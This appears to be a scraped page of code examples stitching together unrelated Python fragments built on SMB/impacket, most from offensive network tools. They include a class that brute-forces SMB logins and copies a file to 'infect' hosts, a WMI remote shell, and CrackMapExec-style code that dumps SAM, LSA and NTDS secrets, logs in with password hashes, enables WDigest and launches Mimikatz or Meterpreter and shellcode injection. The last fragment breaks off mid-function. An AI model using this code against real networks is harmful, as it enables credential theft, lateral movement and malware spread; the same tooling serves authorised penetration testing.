class Host(object):
    def __init__(self, ip, scanner):
        self.ip = ip
        self.data = scanner[ip]
        self.is_up = self.data.state() == 'up'
        self.open_ports = [x for x in self.data['tcp'].keys() if self.data['tcp'][x]['state'] == 'open']

        self.domain = ''
        self.name = ''
        self.os = ''

        self.ex = None
        self.smb = None
        self.shares = None
        self.infected = None

    def __str__(self):
        return '=> ip: {0}{1}{2}{3}, status: {4}{5}'.format(
            self.ip,
            ', domain: {0}'.format(self.domain) if self.domain else '',
            ', name: {0}'.format(self.name) if self.name else '',
            ', os: {0}'.format(self.os) if self.os else '',
            'up' if self.is_up else 'down',
            ', result: {0}'.format(self.ex) if self.ex else ', result: {0}'.format('Infected') if self.infected else ''
        )

    @property
    def chosen_port(self):
        for p in SMB_PORTS:
            if p in self.open_ports:
                return p
        raise Exception('No port can be used to infect this host')

    @property
    def is_connected(self):
        return self.smb is not None

    def connect(self, password_generator):
        try:
            self.smb = SMBConnection('*SMBSERVER', self.ip, sess_port=int(self.chosen_port))
            self.smb.login('', '')
            self.domain = self.smb.getServerDomain()
            self.name = self.smb.getServerName()
            self.os = self.smb.getServerOS()

            for username, password, lmhash, nthash in password_generator:
                try:
                    self.smb.login(username, password, lmhash=lmhash, nthash=nthash)
                    self.shares = self.smb.listShares()
                    self.ex = None
                    break
                except SessionError as ex:
                    self.ex = ex
        except SessionError as ex:
            self.ex = ex

    def infect(self, password_generator, share, source, destination):
        try:
            if not path.isfile(source):
                raise Exception('Source file {0} does not exist.'.format(source))

            if not self.is_connected:
                self.connect(password_generator)

            if self.ex:
                return

            with open(source, 'rb') as f:
                self.smb.putFile(share, destination, f.read)
                self.ex = None
                self.infected = True
        except SessionError as ex:
            self.ex = ex
Ejemplo n.º 48
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
        iWbemLevel1Login.RemRelease()

        win32Process,_ = iWbemServices.GetObject('Win32_Process')

        try:
            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                return self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt) as e:
            # filename = '$ADMIN\Temp\{}'.format(OUTPUT_FILENAME)
            filename = '$C\Windows\Temp\{}'.format(OUTPUT_FILENAME)
            # Delete outfile
            if self.shell:
                output_callback = ''
                # print("Cleaning up output file: {}. Please don't Ctrl+C me.".format(filename))
                for _ in xrange(10):
                    try:
                        self.shell._RemoteShell__transferClient.deleteFile(self.shell._RemoteShell__share, self.shell._RemoteShell__output)
                        break
                    except KeyboardInterrupt:
                        try:
                            print("Pressing Ctrl+C again might leave a file on disk: {}".format(filename))
                            time.sleep(1)
                            continue
                        except KeyboardInterrupt:
                            break

                    except Exception, e:
                        if str(e).find('STATUS_SHARING_VIOLATION') >=0:
                            # Output not finished, let's wait
                            time.sleep(1)
                            pass
                        if str(e).find('BAD_NETWORK_NAME') >= 0:
                            print(str(e))
                            break
                        else:
                            # print str(e)
                            time.sleep(1)
                            pass 
                else:
                    print("Error: Timeout - {} might be left on disk".format(filename))
Ejemplo n.º 49
0
    def _get_groupsxml(self, groupsxml_path, gpo_display_name):
        gpo_groups = list()

        content_io = StringIO()

        groupsxml_path_split = groupsxml_path.split('\\')
        gpo_name = groupsxml_path_split[6]
        target = groupsxml_path_split[2]
        share = groupsxml_path_split[3]
        file_name = '\\'.join(groupsxml_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        try:
            smb_connection.getFile(share, file_name, content_io.write)
        except SessionError:
            return list()

        content = content_io.getvalue().replace('\r', '')
        groupsxml_soup = BeautifulSoup(content, 'xml')

        for group in groupsxml_soup.find_all('Group'):
            members = list()
            memberof = list()
            local_sid = group.Properties.get('groupSid', str())
            if not local_sid:
                if 'administrators' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-544'
                elif 'remote desktop' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-555'
                else:
                    local_sid = group.Properties['groupName']
            memberof.append(local_sid)

            for member in group.Properties.find_all('Member'):
                if not member['action'].lower() == 'add':
                    continue
                if member['sid']:
                    members.append(member['sid'])
                else:
                    members.append(member['name'])

            if members or memberof:
                # TODO: implement filter support (seems like a pain in the ass,
                # I'll do it if the feature is asked). PowerView also seems to
                # have the barest support for filters, so ¯\_(ツ)_/¯

                gpo_group = GPOGroup(list())
                setattr(gpo_group, 'gpodisplayname', gpo_display_name)
                setattr(gpo_group, 'gponame', gpo_name)
                setattr(gpo_group, 'gpopath', groupsxml_path)
                setattr(gpo_group, 'members', members)
                setattr(gpo_group, 'memberof', memberof)

                gpo_groups.append(gpo_group)

        return gpo_groups
Ejemplo n.º 50
0
def connect(host):
    """
        My imagination flowed free when coming up with this name
        This is where all the magic happens
    """

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login("", "")
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        print_status(
            u"{}:{} is running {} (name:{}) (domain:{})".format(
                host, settings.args.port, smb.getServerOS(), s_name, domain
            )
        )

        try:
            """
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            """
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (
            settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)
        ) or settings.args.combo_file:

            smb = smart_login(host, smb, domain)
            # Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump(
                    "{}/SMB".format(settings.args.port),
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.aesKey,
                    settings.args.kerb,
                )
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(host, settings.args.port, "logs/{}".format(host), smb, settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump(
                    "{}/SMB".format(settings.args.port),
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.aesKey,
                    settings.args.kerb,
                )
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    "{}/SMB".format(settings.args.port),
                    settings.args.hash,
                    settings.args.rid_brute,
                )
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.kerb,
                    settings.args.aesKey,
                )

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.enable()

            if settings.args.disable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.disable()

            if settings.args.command:
                EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb)

            if settings.args.pscommand:
                EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb)

            if settings.args.mimikatz:
                powah_command = PowerSploit(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(), host, domain, True, smb)

            if settings.args.mimikatz_cmd:
                powah_command = PowerSploit(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb)

            if settings.args.inject:
                powah_command = PowerSploit(settings.args.server, local_ip)
                if settings.args.inject.startswith("met_"):
                    EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb)

                if settings.args.inject == "shellcode":
                    EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb)

                if settings.args.inject == "dll" or settings.args.inject == "exe":
                    EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose:
            print_error(str(e))
        return
Ejemplo n.º 51
0
class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, share, transport):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.port = port
        self.transport = transport
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        if self.transport.get_kerberos() is True:
            self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
                                              kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
        else:
            self.transferClient.login(user, passwd, domain, lm, nt)

    def do_help(self, line):
        print """
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share)
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_get(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename,'wb')
            logging.info("Downloading %s\%s" % (self.share, src_path))
            self.transferClient.getFile(self.share, src_path, fh.write)
            fh.close()
        except Exception as e:
            logging.critical(str(e))
            pass

        self.send_data('\r\n')
 
    def do_put(self, s):
        try:
            if self.transferClient is None:
                self.connect_transferClient()
            params = s.split(' ')
            if len(params) > 1:
                src_path = params[0]
                dst_path = params[1]
            elif len(params) == 1:
                src_path = params[0]
                dst_path = '/'

            src_file = os.path.basename(src_path)
            fh = open(src_path, 'rb')
            f = dst_path + '/' + src_file
            pathname = string.replace(f,'/','\\')
            logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
            self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
            fh.close()
        except Exception as e:
            logging.error(str(e))
            pass

        self.send_data('\r\n')

    def do_lcd(self, s):
        if s == '':
            print os.getcwd()
        else:
            os.chdir(s)
        self.send_data('\r\n')

    def emptyline(self):
        self.send_data('\r\n')
        return

    def default(self, line):
        self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')

    def send_data(self, data, hideOutput = True):
        if hideOutput is True:
            global LastDataSent
            LastDataSent = data
        else:
            LastDataSent = ''
        self.server.writeFile(self.tid, self.fid, data)
Ejemplo n.º 52
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(self, dstip, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
                 aesKey='', TGT=None, TGS=None, remote_name='', smb_connection=0, doKerberos=False):
        DCERPCTransport.__init__(self, dstip, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
        self.__remote_name = remote_name
        self._doKerberos = doKerberos

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None

        if isinstance(smb_connection, smb.SMB):
            # Backward compatibility hack, let's return a
            # SMBBackwardCompatibilityTransport instance
            return SMBBackwardCompatibilityTransport(filename = filename, smb_server = smb_connection)
        else:
            self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            if self.__remote_name == '':
                if self.get_dport() == nmb.NETBIOS_SESSION_PORT:
                    self.__smb_connection = SMBConnection('*SMBSERVER', self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
                else:
                    self.__smb_connection = SMBConnection(self.get_dip(), self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
            else:
                self.__smb_connection = SMBConnection(self.__remote_name, self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
           self.setup_smb_connection()
           if self._doKerberos is False:
               self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
           else:
               self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, TGT=self._TGT, TGS=self._TGS)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection = 0

    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset+self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv = 0, count = 0 ):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
Ejemplo n.º 53
0
    def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.chain_list = chain_list
        self.cmeserver = cmeserver
        self.share_name = share_name
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0
        
        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname) 
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host, 
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'), 
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
                
                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()
                
                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if (self.password is not None or self.hash is not None) and self.username is not None:

                if self.module or self.chain_list:

                    if self.chain_list:
                        module = self.chain_list[0]['object']

                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(), 
                                                                  'host': self.host, 
                                                                  'port': self.args.smb_port, 
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if self.module:

                        launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
                        payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self, launcher, payload)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                    elif self.chain_list:
                        module_list = self.chain_list[:]
                        module_list.reverse()

                        final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
                        if len(module_list) > 2:
                            for m in module_list:
                                if m['object'] == module or m['object'] == module_list[0]['object']:
                                    continue
                                
                                final_launcher = m['object'].launcher(context, final_launcher)

                        if module == module_list[0]['object']: 
                            final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
                        
                        launcher = module.launcher(context, final_launcher)
                        payload  = module.payload(context, final_launcher)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                elif self.module is None and self.chain_list is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Ejemplo n.º 54
0
class Connection:

    def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.chain_list = chain_list
        self.cmeserver = cmeserver
        self.share_name = share_name
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0
        
        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname) 
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host, 
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'), 
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
                
                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()
                
                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if (self.password is not None or self.hash is not None) and self.username is not None:

                if self.module or self.chain_list:

                    if self.chain_list:
                        module = self.chain_list[0]['object']

                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(), 
                                                                  'host': self.host, 
                                                                  'port': self.args.smb_port, 
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if self.module:

                        launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
                        payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self, launcher, payload)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                    elif self.chain_list:
                        module_list = self.chain_list[:]
                        module_list.reverse()

                        final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
                        if len(module_list) > 2:
                            for m in module_list:
                                if m['object'] == module or m['object'] == module_list[0]['object']:
                                    continue
                                
                                final_launcher = m['object'].launcher(context, final_launcher)

                        if module == module_list[0]['object']: 
                            final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
                        
                        launcher = module.launcher(context, final_launcher)
                        payload  = module.payload(context, final_launcher)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                elif self.module is None and self.chain_list is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()

    def over_fail_limit(self, username):
        global global_failed_logins
        global user_failed_logins

        if global_failed_logins == self.args.gfail_limit: return True
        if self.failed_logins == self.args.fail_limit: return True
        if username in user_failed_logins.keys():
            if self.args.ufail_limit == user_failed_logins[username]: return True

        return False

    def check_if_admin(self):
        if self.args.mssql:
            try:
                #I'm pretty sure there has to be a better way of doing this.
                #Currently we are just searching for our user in the sysadmin group

                self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
                query_output = self.conn.printRows()
                if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
                    self.admin_privs = True
            except:
                pass

        elif not self.args.mssql:
            '''
                We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. 
                If this succeeds, the user context has administrator access to the target.

                Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
            '''

            stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)

            rpctransport = transport.DCERPCTransportFactory(stringBinding)
            rpctransport.set_dport(self.args.smb_port)

            lmhash = ''
            nthash = ''
            if self.hash:
                if self.hash.find(':') != -1:
                    lmhash, nthash = self.hash.split(':')
                else:
                    nthash = self.hash

            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
            dce = rpctransport.get_dce_rpc()
            dce.connect()
            dce.bind(scmr.MSRPC_UUID_SCMR)

            lpMachineName = '{}\x00'.format(self.host)
            try:

                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx

                resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
                self.admin_privs = True
            except DCERPCException:
                pass

    def plaintext_login(self, domain, username, password):
        try:
            if self.args.mssql:
                res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False)
                if res is not True:
                    self.conn.printReplies()
                    return False
            
            elif not self.args.mssql:
                self.conn.login(username, password, domain)

            self.password = password
            self.username = username
            self.domain = domain
            self.check_if_admin()
            self.db.add_credential('plaintext', domain, username, password)

            if self.admin_privs:
                self.db.link_cred_to_host('plaintext', domain, username, password, self.host)

            out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
                                         username.decode('utf-8'),
                                         password.decode('utf-8'),
                                         highlight('(Pwn3d!)') if self.admin_privs else '')

            self.logger.success(out)
            return True
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'),
                                                        username.decode('utf-8'),
                                                        password.decode('utf-8'),
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''))
            if error == 'STATUS_LOGON_FAILURE': 
                global global_failed_logins
                global user_failed_logins
                
                if username not in user_failed_logins.keys():
                    user_failed_logins[username] = 0

                user_failed_logins[username] += 1
                global_failed_logins += 1
                self.failed_logins += 1

            return False

    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        try:
            if self.args.mssql:
                res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False)
                if res is not True:
                    self.conn.printReplies()
                    return False

            elif not self.args.mssql:
                self.conn.login(username, '', domain, lmhash, nthash)

            self.hash = ntlm_hash
            self.username = username
            self.domain = domain
            self.check_if_admin()
            self.db.add_credential('hash', domain, username, ntlm_hash)

            if self.admin_privs:
                self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)

            out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), 
                                         username.decode('utf-8'), 
                                         ntlm_hash, 
                                         highlight('(Pwn3d!)') if self.admin_privs else '')

            self.logger.success(out)
            return True
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'),
                                                        username.decode('utf-8'),
                                                        ntlm_hash,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''))
            if error == 'STATUS_LOGON_FAILURE': 
                global global_failed_logins
                global user_failed_logins
                
                if username not in user_failed_logins.keys():
                    user_failed_logins[username] = 0

                user_failed_logins[username] += 1
                global_failed_logins += 1
